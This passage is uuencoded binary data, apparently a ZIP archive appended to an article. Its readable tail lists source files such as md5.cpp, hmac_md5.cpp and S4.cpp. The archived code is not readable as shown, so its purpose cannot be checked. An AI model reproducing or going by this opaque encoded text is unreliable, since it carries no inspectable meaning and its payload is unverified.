MH_-@J$ZBCM9H2;H@I_G+L^OK4"TS/GMHQ3-W"+O1@9QTF3;I<0UY2J8_I#:J
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
```

```
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
M``X`````````0`@````)0```%,T+G`V."]#3U!924Y'4$L!`A0`%``"``@`
M_:*!0$3GD9N>`0``0P,```\``````````0`@````9AL``%,T+G`V."]G;&]B
M86PN:%!+`0(4`!0``@`(``JE@4!VK/V$0@,``,\*```3`````````$`(```
M`#$=``!3-"YP-C@O:&UA8U]M9#4N8W!P4$L!`A0`%``"``@`<Z2!0%Z7NI:J
```

```
M#```32D```X`````````0`@````I"```%,T+G`V."]M9#4N8W!P4$L!`A0`
M%``"``@`[**!0.+_SLVR`@``S04```P`````````0`@````>BT``%,T+G`V
M."]M9#4N:%!+`0(4`!0``@`(`+E>A4!!P_$XX"P``(B@```-`````````$`
K(````%8P``!3-"YP-C@O4S0N8W!P4$L%!@`````'``<`H`$``&%=`````````
`
end

---[ EOF
```